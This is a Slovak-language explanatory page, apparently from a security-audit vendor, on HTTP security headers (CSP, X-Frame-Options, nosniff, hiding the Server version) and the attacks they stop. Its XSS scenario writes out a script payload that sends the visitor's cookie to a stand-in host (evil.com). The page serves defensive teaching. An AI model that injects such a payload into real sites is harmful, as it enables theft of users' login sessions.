Ochrana aplikácie

Bezpečnostné HTTP hlavičky sú neviditeľná obrana vašej webovej aplikácie. Bez nich je každý návštevník vystavený riziku.

XSS — Cross-Site Scripting

XSS je útok, kde útočník vloží škodlivý JavaScript kód do vašej webovej stránky. Keď váš zákazník stránku otvorí, kód sa spustí v jeho prehliadači s jeho oprávneniami — môže ukradnúť prihlasovací cookie, presmerovať na phishingovú stránku alebo zmeniť obsah stránky.

XSS je trvalo v top 3 webových zraniteľností podľa OWASP. V roku 2024 tvoril 23 % všetkých webových zraniteľností (HackerOne Bug Bounty Report).

Ako XSS funguje — reálny scenár

1 Útočník nájde na vašom webe formulár (komentár, vyhľadávanie, kontaktný formulár), ktorý nefiltruje vstup.
2 Vlozi skodlivy kod: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
3 Zakaznik otvorit stránku s komentarom. Kod sa spusti v jeho prehliadači.
4 Cookie s prihlasovacou session je odoslaný útočníkovi. Útočník sa prihlási ako váš zákazník.

CSP — Content Security Policy

CSP je HTTP hlavička, ktorá presne definuje, odkiaľ môže prehliadač načítať JavaScript, CSS, obrázky a iné zdroje. Ak útočník vloží škodlivý script, prehliadač ho odmietne spustit, pretoze nepochadza z povolenho zdroja.

# Priklady CSP — od základnej po prísnu

# Základná (reportovanie):
Content-Security-Policy-Report-Only: default-src 'self'

# Stredná (produkcia):
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;

# Prísna (najvyššia bezpečnosť):
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'
Pozor na 'unsafe-inline' a 'unsafe-eval'

Tieto direktívy povoľujú všetky inline skripty a eval() — čím efektívne vypnete ochranu CSP proti XSS. Ak ich používate, útočník môže vložiť škodlivý kód priamo do HTML. Používajte namiesto toho nonce alebo hash pre každý legitímny inline skript.

Clickjacking — X-Frame-Options

Clickjacking je útok, kde útočník vloží vašu stránku do neviditeľného iframe na svojej stránke. Používateľ si myslí, že kliká na obsah útočníkovej stránky, ale v skutočnosti kliká na tlačidlá na vašej stránke — napríklad „Potvrdiť platbu“ alebo „Zmeniť heslo“.

Príklad clickjacking útoku

1 Útočník vytvorí atraktívnu stránku: „Vyhrajte iPhone! Kliknite sem.“
2 V pozadi je vas e-shop vlozeny v neviditelnom iframe, presne zarovnaný tak, že tlačidlo „Klikni“ je nad vaším „Potvrdiť objednávku“.
3 Pouzivatel klikne na „Vyhrat“, ale v skutočnosti potvrdil objednávku vo vašom e-shope (ak bol prihlásený).
Riešenie

X-Frame-Options: DENY — zabráni vloženiu vašej stránky do akéhokoľvek iframe.
Modernejšie: Content-Security-Policy: frame-ancestors 'none' — rovnaká funkcia, ale s väčšou flexibilitou.

X-Content-Type-Options

Prehliadače niekedy „hľadajú“ (MIME sniffing) čo je obsah súboru a ignorujú deklarovaný Content-Type. Útočník môže nahrať súbor s príponou .jpg, ktorý v skutočnosti obsahuje JavaScript. Bez tejto hlavičky ho prehliadač spustí ako script.

# Jednoduché, ale kritické:
X-Content-Type-Options: nosniff

Táto jediná hlavička zabráni celej triede útokov. Napriek tomu ju nemá 37 % webov (HTTP Archive, 2024).

Server Header — information disclosure

Veľa webserverov odosiela hlavičku Server: Apache/2.4.51 alebo Server: nginx/1.22.1 s presnou verziou softvéru. Toto je information disclosure — útočník presne vie, aký softvér používate, a môže vyhľadať známe zraniteľnosti pre túto verziu.

Reálny príklad

Server: Apache/2.4.49 — táto konkrétna verzia ma CVE-2021-41773 (path traversal), ktorá umožňuje čítanie ľubovoľných súborov na serveri. Útočník vidí hlavičku, vyhľadá CVE, spustí exploit — celý proces trvá menej ako 5 minut. Odstránenie hlavičky tomuto zabráni.

# Nginx — odstránenie verzie:
server_tokens off;

# Apache — odstránenie verzie:
ServerTokens Prod
ServerSignature Off

Prečo je to dôležité — finančný dopad

23 %
všetkých webových zraniteľností je XSS (HackerOne, 2024)
$4.5M
priemerná cena web application breach (IBM, 2024)
5 min
na zneužitie známej zraniteľnosti so značným server headerom

Bezpečnostné hlavičky sú „bezplatné zámky“ — ich pridanie trvá minúty, ale bez nich je vaša aplikácia otvorená triede útokov, ktoré sú automatizované a masovo využívané. Automatické skenery (Shodan, Censys) neustále prehľadávajú internet a indexujú servery podľa verzie a zraniteľností.

Čo sa stane ak to nemáte

Bez CSP

Každý XSS útok uspeje. Útočník môže spustiť ľubovoľný JavaScript v prehliadači vášho zákazníka — ukradnúť session, presmerovať na phishing, zmeniť obsah stránky. CSP je jediná spoľahlivá obrana na úrovni prehliadača.

Bez X-Frame-Options

Vaša stránka môže byť vložená do iframe na ľubovoľnej stránke. Clickjacking útoky môžu spôsobiť neoprávnené transakcie, zmeny nastavení alebo zdieľanie osobných údajov.

So Server headerom obsahujúcim verziu

Automatické skenery denne indexuju miliony serverov podľa verzie softveru. Keď sa objaví nový CVE, útočníci majú hotový zoznam cieľov — a váš server môže byť na ňom.

Regulatórne požiadavky

FrameworkČlánok / KontrolaPoziadavok
NIS2 Článok 21 ods. 2 písm. d) Bezpečnosť IT systémov vrátane ochrany webových aplikácií
SOC 2 CC6.1 Logický prístup a ochrana pred neoprávneným prístupom k dátam
OWASP Top 10 A03:2021 Injection (vrátane XSS) — bezpečnostné hlavičky ako ochrana
PCI DSS 4.0 Poziadavok 6.4.1 Ochrana webových aplikácií pred známymi útokmi
ISO 27001 A.14.1.2 Bezpečnosť aplikačných služieb na verejných sieťach

Skontrolujte bezpečnostné hlavičky vášho webu

Náš audit overí CSP, X-Frame-Options, X-Content-Type-Options a Server header za 30 sekúnd.

Spustiť audit